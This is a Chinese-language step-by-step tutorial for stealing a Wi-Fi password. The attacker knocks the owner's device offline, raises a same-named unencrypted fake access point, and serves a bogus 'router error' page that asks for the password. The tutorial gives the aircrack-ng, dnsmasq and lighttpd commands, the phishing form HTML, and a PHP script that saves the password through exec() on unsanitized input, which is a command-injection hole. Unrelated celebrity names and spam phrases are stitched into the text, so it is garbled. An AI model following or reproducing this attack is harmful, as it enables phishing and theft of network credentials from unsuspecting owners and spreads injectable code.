伪造无线路由器错误信息来获取无线密码的方法
前言:
这篇文章出于我前段时间的一个想法,就是通过伪造无线路由器错误信息来欺骗机主,然后取得无线密码。后来就不断地试验实践,最后成功了,就有了今天的这篇文章,高三比较忙,所以弄了这么久。当然我不是为了教会大家破解别人的无线网络而写这篇文章,只是为了让大家了解无线网络的安全问题和交流技术,知道这种技术的原理,才能避免被攻击。为了便于大多数读者理解,我尽量没有使用很多专业词汇,可能不够严谨,望见谅!
本文使用了以下这些开源软件,在这里感谢这些软件的开发者:
aircrack-ng: /
dnsmasq: /dnsmasq/
doc: /
lighttpd: /
php: /
overview:
首先简略地说说基本的思路,使用airodump-ng查看有那些客户端正在使用无线网络,然后通过aireplay-ng持续攻击某个AP,使该客户端保持可以搜索到自己的AP,但是又连接不上的状态。这时我们就马上伪造一个SSID和该AP相同不加密的AP,因为普通的用户都是不懂技术的,正在和MM聊得欢,突然就断开了,这该多恼火~这样一般该机主就会下意识地点击连接我们这个伪造的AP,然后轻而易举地连接上了。这时机主回到QQ,诶~怎么还是连接不上?然后就打开浏览器随便访问一个网络地址测试一下,这时我们就要让他打开事先准备好的网页,说他的AP出错误了云云,然后然他输入无线密码来重启无线路由器排除故障,他一着急,就输入了自己的无线密码啦~这时密码就会被提交到我们电脑上的php,然后php就把这个密码写入某个文件保存起来,哈哈!不费吹灰之力对吧?然后我们就停止对他AP的攻击,神不知鬼不觉地~机主见恢复正常了,就把这小插曲抛诸脑后啦!这里面也有一点社会工程学的意思。相关的原理和细节我在后面慢慢和大家叙述。
本文以安装了xubuntu12.04.3的笔记本电脑为系统环境,前段时间我安装了xbuntu13.10,
蔡卓妍陈伟霆结果各种不稳定各种错误,在Hacking的时候居然在service里面不到Network-manager,导致Hacking的时候网卡被关闭。不得不感叹Ubuntu变得越来越用户友好,但是却越来越难配置。所以我回到了xubuntu12.04,后来我也用过ArchLinux,很轻量很快速,可以轻易配置整个系统。但是为了简单起见,本文还是使用了ubuntu作为系统环境。行首是”#“代表是使用超级用户运行该命令,这都是约定俗成的。不多说,另外配置文件和网页代码的内容我都用代码框框起来的了,需要执行的指令则是用黄加亮。
一些命令的用途:
airmon-ng:方便地将网卡配置成攻击时所需监听模式(monitor mode)。
airodump-ng:监听无线网络,查看有那些活动的无线网络。
aireplay-ng:对对方无线网络进行注入攻击,这里用来使客户端断线。
dnsmasq:提供一个内网DNS,以及dhcp服务。黄子韬向粉丝道歉
lighttpd:提供一个Web服务器,用来显示我们伪造的错误信息页面。
php-cgi:lighttpd通过fastcgi连接到php,用来获取并保存用户输入的信息。
iptables:配置防火墙,因为hostapd要用到NAT(网络地址转换)
hostapd:一个软AP,等于把你的电脑变成一个无线无线路由器
基本流程如下图所示,这里先解释下hack的基本流程:
监听无线网络到攻击目标》攻击目标使其断线》机主连接到伪造的AP》机主客户端发出dhcp请求》dnsmasq接收到机主的请求,返回网络配置信息,DNS服务器和路由的IP都设置为伪造AP的IP》机主收到dnsmasq返回的信息,配置网络成功》机主试图访问,机主的浏览器向dnsmasq查询域名信息,dnsmasq返回正确的IP地址x给机主的浏览器》机主的浏览器开始连接x》数据包经过伪造AP时,iptables把数据包的目标地址转换成本机,这样无论机主试图访问什么主机,最后都会连接到伪造AP里面的Web服务器lighttpd》lighttpd收到请求,用过rewrite重定向到伪造的错误页面,这样无论机主请求的是什么页面,最后都会访问到我们伪造的错误页面》用户输入无线密码》lighttpd把用户输入的数据传送给php,php把密码写入到/var/www/password。
开始工作:
首先当然是切换到超级用户:
$sudo -s
安装所需全部软件:
#apt-get install aircrack lighttpd dnsmasq php5-cgi
停止network-manager,以免干扰我们的操作:
#service network-manager
下载相关文件:
访问pan.baidu/s/1mgI4bv6 ,下载全部文件备用
开启lighttpd的php支持:
#lighttpd-enable-mod fastcgi-php
开始配置相关程序,为了方便大家我已经把一切都做好了。
复制f到/f
复制f到/etc/f
复制f到/etc/f
复制index.html,passwd.php到/var/www/ 最赚钱的职业
弗拉基米尔多罗宁
编辑/etc/php5/cgi/php.ini,到这一行:
;cgi.fix_pathinfo=1
把最前面的“;”号去掉,保存,这个配置选项是更改php的目录信息,使最后php写入的密码文件放在正确的目录下(即/var/www/)。
设置目录权限,这是为了让php可以写入密码文件/var/www/password:
#chmod 777 /var/www/ -R
重新启动相关程序:
#killall php-cgi
#service dnsmasq restart 黄晓明和赵薇
#service  lighttpd restart
测试lighttpd:
在firefox里面访问127.0.0.1,测试网页是否能够正常显示,然后再访问127.0.0.1/xxxxxx,看看是否还能打开错误提示页面。因为到时你并不知道用户会打开什么网站的什么页面,假设到时机主在浏览器里面访问的是/tplink/ ,因为我们搭建的“网站”并没有.help/source这个文件,就会出现404错误,为了避免这个问题,所以我就使用了rewrite技术,也就是地址重写技术。这样用户只要是访问我们搭建出来的“网站”,无论在IP地址后面输入什么东西,都会访问到我写的错误页面index.html。有意思吧?
rewrite配置的细节在f里面:
write=(
"^/passwd.php/?(.+)" => "$0",
"^/(.+)"=>"index.html"
)
这里rewrite规则用了perl的正则表达式,以上配置的意思是:如果url不是以passwd.php开头的,全部重写到index.html,passwd.php是用来保存密码的,我们当然不能重写它的地址。关于passwd.php的内容我们接下来就解释。
测试php:
学霸隐藏式骂人这里随手输入一个密码看看,我输入了:”123456789“
这里的细节可以查看index.html文件,我在里买创建了一个表单:
<form action="passwd.php" method="">
<input type="password" name="passwd" value="" />
<input type="submit" name="" value="确认重启" />
</form>
表单里面有一个密码输入框,一个提交按钮,当我们在密码输入框里面输入密码“123456789”,点击“确认重启”按钮后,密码输入框里的内容就会被提交到”passwd.php“,这是浏览器就会打开一个地址:“127.0.0.1/passwd.php?passwd=123456789”,地址后面的?passwd=123456789就是密码数据,然后我们就要想办法把这个密码数据保存下来。
具体是怎么保存的呢?可以查看passwd.php,里面有这么两行:
$com = "touch password && echo $_GET[passwd] >> password";
exec($com);
用到了php的exec()函数,这个函数就等于一个系统shell程序,可以在里面运行系统命令,
这里运行了 "touch password && echo $_GET[passwd] >> password"